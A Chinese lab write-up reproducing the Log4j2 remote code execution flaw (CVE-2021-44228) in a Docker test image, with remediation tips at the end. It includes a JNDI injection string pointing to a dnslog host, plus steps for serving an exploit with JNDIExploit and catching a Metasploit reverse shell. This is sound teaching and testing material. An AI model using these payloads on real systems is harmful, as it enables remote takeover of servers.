CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现

漏洞信息

漏洞名称 Apache Log4j2远程代码执行漏洞
漏洞编号 CVE-2021-44228
危害等级 高危
CVSS评分 10.0
漏洞类型 日志框架漏洞
漏洞厂商 Apache
漏洞组件 Apache Log4j2
受影响版本 Log4j 2.x <= 2.15.0-rc1
漏洞概述 Apache Log4j2是一款使用非常广泛的Java日志框架。2021年12月9日,Apache Log4j2爆出存在远程代码执行漏洞,由于Apache Log4j2广泛地应用在各种Web程序中,该漏洞涉及用户量较大,危害性非常之高,漏洞影响版本为2.0~2.14.1。

漏洞原理

  1. 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中,假如日志中含有该语句${jndi:rmi://4rujx1.dnslog.cn/bug},log4j就会去解析该信息。

  2. 通过jndi的lookup()方法去解析该URL:jndi:rmi://4rujx1.dnslog.cn/bug,解析到rmi,就会去4rujx1.dnslog.cn的rmi服务找名为bug的资源,如果找不到就会去http服务中找。

  3. 在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现bug是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害。

环境搭建

1.环境概述

  • Linux操作系统(kali)
  • Log4j版本2.14.1
  • JNDIExploit-1.4-SNAPSHOT.jar

2.搭建过程

Linux下搭建:

拉取漏洞镜像

docker pull vulfocus/log4j2-rce-2021-12-09

启动漏洞镜像:

docker run -tid -p 7788:8080 vulfocus/log4j2-cve-2021-44228

CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现_第1张图片

点击???,可以发现payload是以GET的方式提交的。

CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现_第2张图片

漏洞复现

1.获取子域

CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现_第3张图片

2.构造payload

CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现_第4张图片

3.在DNSlog网站点击刷新记录,既可以发现一条DNS查询的记录(这里可能存在一些延迟,需要一些时间等待)。发现存在记录的话,就说明存在cve-2021-44228漏洞。

CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现_第5张图片

4.使用JNDIExploit-1.4-SNAPSHOT.jar工具开启LDAP、HTTP服务。这里-i参数是开启LDAP、HTTP服务的ip地址。

img

5.kali使用msf的java/meterpreter/reverse_tcp开启监听.

CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现_第6张图片

6.构造恶意payload

CVE-2021-44228 Apache Log4j2远程代码执行漏洞复现_第7张图片

7.msf成功获取到了shell

img

修复建议

1、将Apache Log4j所有相关应用到Apache Log4j 2.3.1版本。

2、过滤用户输入(ldap、rmi、dns)。

3、禁止log4j使用lookup方法。

你可能感兴趣的:(log4j,apache)